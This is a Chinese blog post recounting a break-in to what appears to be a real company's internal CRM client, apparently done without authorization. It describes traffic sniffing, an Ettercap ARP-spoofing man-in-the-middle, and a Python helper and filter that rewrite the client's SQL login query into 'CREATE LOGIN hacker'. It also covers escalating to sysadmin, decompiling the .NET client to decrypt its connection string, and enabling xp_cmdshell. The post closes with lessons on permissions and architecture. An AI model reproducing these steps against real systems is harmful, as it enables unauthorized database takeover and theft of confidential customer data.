嗅探、中間人sql注入、反編譯--例說桌面軟件安全性問題
今天這篇文章不准備講太多理論,講我最近遇到的一個案例。從技術上講,這個例子沒什么高深的,還有一點狗屎運的成分,但是它又足夠典型,典型到我可以講出很多大道理用來裝逼。So,我們開始吧。
1.1 一個公司內部專用的CRM系統
CRM系統是什么,如果你不知道的話,請自行Google。從數據的角度講,它包含了一個公司所有往來客戶的機密資料,如果泄露的話,后果很嚴重。下面是我無意中發現的一個網站,掛着一個CRM軟件的下載鏈接。開始的時候我以為這個是一家賣CRM的公司,但是看着又不太像。
從網站的其他信息看,這仿佛是一個公司內部的CRM系統,於是我下載下來。
直接是一個登錄界面,我先隨便輸入了一個用戶名,沒有輸入密碼。
然后我又輸入了一個“admin”.
通過簡單的嘗試,我們可以確定這不是通用的CRM系統,是定制的,而且可以在外網使用,是否有綁定計算機不得而知,外網服務器IP不知道,是否直接連接外網的數據庫服務器不知道。下面我們通過抓包來確認一下。
1.2 抓包分析
啟動Wireshark,然后點擊登錄按鈕,立即停止抓包,我發現了一連串的TDS包。
下面的信息確認這個軟件是直接連接的數據庫服務器,並沒有通過后端的服務接口來返回數據。
查詢語句很明顯,但是也很奇怪,開發者在用用戶名查詢密碼,然后要做的應該是用返回的密碼和用戶輸入的密碼進行比對。不過還好,它返回的密碼是加密過的。
根據對sqlserver 的了解,在登錄認證階段,默認是加密傳輸的,並不會暴露用戶名和密碼,但是我們可以通過從數據包中分析出數據庫的版本和服務器的基本信息。
訪問的數據庫名:
服務器名稱:
當然從名字上看應該是win7系統,win7做服務器也比較奇葩。
數據版本:
SqlServer 10.0,應該是2008版本。
ok,現在簡單總結下。通過抓包分析,我們得到了目標服務器的IP,打開的端口至少有80和1433,操作系統是win7,數據庫為SQLServer2008,連接的目標數據庫名稱。下面我們有三個方向可以去努力,一個是找服務器和web應用的漏洞去滲透,第二個是繼續挖掘軟件本身的漏洞,第三個是攻擊數據庫。我們不知道當前應用登錄數據庫所使用的賬號的權限是怎么樣的,但是已經能夠大致判斷軟件編寫者的編程水平了,從編程水平去推斷90%的可能性是sa用戶或者sa權限。下面邪惡的想法來了,攔截並修改查詢語句,新建一個數據庫管理賬號,然后使用工具直接連接上去,那么不就控制了數據庫了嗎,控制數據庫后是不是還有機會控制服務器呢?試試便知。
1.3 測試中間人攻擊
在本機就沒必要中間人攻擊了吧?不過我還是非常想利用Ettercap的Filter和replace功能,可以省掉很多麻煩。
首先在虛擬機里啟動我的Kali Linux,然后在Kali里面啟動Ettercap進行Arp欺騙測試(Ettercap的詳細使用請google,這里簡單說明)。
第一步,開啟路由轉發功能。
# 啟用IP路由轉發功能
echo 1 > /proc/sys/net/ipv4/ip_forward
第二步,在”/etc/ettercap/etter.conf”中配置轉發。
第三步,arp欺騙。
第四步,測試。
使用driftnet 測試,是否能攔截主機的圖片請求,如果能,證明arp欺騙成功。
1.4 filter和replace數據構造
上面的測試證明了中間人攻擊可行,那么下面我們開始構造Filter腳本。先創建一個1433.filter文件,輸入如下內容:
search和replace的內容是需要我們按需構造的。search的內容我們可以在剛才的抓包工具中獲取到,就是從數據庫中查詢密碼的sql語句,replace的內容我這里想要它執行這樣的語句:
CREATE LOGIN hacker WITH PASSWORD=’YouGotHacked1#’;
下面我們再回頭看看要搜索的元素請求數據。
select Employee_UserName,Employee_PassWord from E_Employee where Employee_State= 217 and Employee_UserName='admin'
這份數據每個字符后面都填充了\x00的null byte,這是不可打印的,這意味着我們需要將內容全部轉為16進制,然后填充\x00。
還有另一個問題要注意,替換的數據必須與原數據長度相同,否則會引起TCP數據傳輸中斷。手工去做這件事略微有點麻煩,我還是寫段小程序來搞定吧。
def stringToHex(string,padLength=0):
s1=[hex(ord(s)).replace("0x",'\\x') for s in string];
result='';
for s in s1:
result=result+s+'\\x00'
for num in range(padLength):
result=result+'\\x20\\x00'
return result;
def getHex(sourceSql,targetSql):
if len(sourceSql) <len(targetSql):
print('erro');
else:
padLength=len(sourceSql)-len(targetSql);
print(stringToHex(sourceSql));
print(stringToHex(targetSql,padLength));
def main():
source="select Employee_UserName,Employee_PassWord from E_Employee where Employee_State= 217 and Employee_UserName='admin'";
target="CREATE LOGIN hacker WITH PASSWORD='YouGotHacked1#'";
getHex(source,target);
if __name__=='__main__':
main();
一小段python,不是什么高明的代碼就不解釋了,最終filter腳本的樣子:
下面我們將1433.filter文件生成為Ettercap能夠使用的ef文件。
再次運行 Ettercap:
此時點擊軟件的登錄按鈕。
我們看到filter腳本打印出來的“success replace”,是不是真的成功了呢?
我使用vs2015的數據庫連接工具,進行連接,奇跡就這么出現了:
連接成功。不過權限有點問題,我們可以再次修改Sql語句,提升它的權限,比如下面這句話:
ALTER SERVER ROLE sysadmin ADD MEMBER hacker;
這一步就不詳細演示了,流程和上面一樣。下面我們再回到另一個分支上,來找找軟件本身的弱點。
1.5 反編譯和解密
看了下面的內容,你一定會覺得我上面的操作都是瞎費勁,幾分鍾就解決問題了。這個例子確實是這樣,不過上面的方法更通用一些,而且難度不高,是需要優先掌握的。
在軟件的安裝目錄中,我首先看到了這樣幾個dll文件:
作為一名資深的.NET程序員,看到名字我就知道這是.NET寫的程序了。於是先找到config文件,看看程序員是不是把數據庫連接串寫到這里了。
連接串確實在這里了,不過加密了。
但是到這里,我對這個程序已經沒什么欲望了,即使它防護做的再好,那也是個.NET程序,是.NET程序,我就能攻破它(專業破解.NET,從未失敗過)。不過令人失望的是,這個程序連基本代碼混淆都沒做,當然更沒有殼,也沒有代碼加密。使用反編譯工具隨便點了點,然后拷貝了幾段代碼:
還是要忍不住吐槽這代碼寫的太渣了,不過成功的解密了連接串,成功登錄了數據庫,不是SA用戶,但是卻有sa權限,試了下xp_cmdshell,默認被數據庫禁用了。執行下面的sql語句解封,
sp_configure 'show advanced options',1
reconfigure
go
sp_configure 'xp_cmdshell',1
reconfigure
go
1.6 小結—架構、權限管理、加密/解密、源碼保護
好了,又到了裝逼的環節了。這段總結是說給像我這樣平時大道理一堆堆,寫代碼的時候一坨坨的程序員的。
首先,權限管理必須要嚴格控制。一個在公司內部使用的系統,為什么要掛到外網上,讓任何人都可以下載?數據庫權限控制,不同的系統划分不同的賬號這是基本常識(我也經常不划分,就是為了偷懶),不同的賬號控制不同的權限,甚至賬號可以細化到讀/寫,表,存儲過程級別。既然用戶有角色划分,那么我們的代碼必須也要有訪問權限划分。不是在代碼內部要訪問數據的時候加個if-else,應該在調用還沒開始就擋在外面。
第二,一個必須聯網才能使用的程序,為什么不把數據訪問,核心業務邏輯都放在遠端的服務器上,公開接口給客戶端調用呢?只有一個原因,程序員太懶。我就是搞winform的,你要老子搞什么服務端,不會!連基本的分層和服務划分都不注意,在基礎架構這就留下了安全隱患,同時客戶端的安全漏洞直接導致服務器被攻陷。
第三,.NET/Java 這類應用沒有辦法絕對防止反編譯,只是時間問題。但是這不代表我們就不應該做程序保護,加殼,源碼混淆,程序集加密,結合服務端獲取進行rsa加密解密的動態程序集構建技術,是可以把90%的初級用戶擋在門外的。城門大開就不對了。
這些話題就不展開了,網上一搜一大堆。
好吧,沒什么值得繼續的了,到此結束吧。
下面是廣告時間:
關注微信訂閱號,持續推送優秀安全類文章。
歡迎加入網絡安全群:147098303。
最新網絡公開課預告:
時間:5月24日
內容:python黑客編程之局域網嗅探和敏感信息探測
報名地址:http://edu.csdn.net/huiyiCourse/detail/126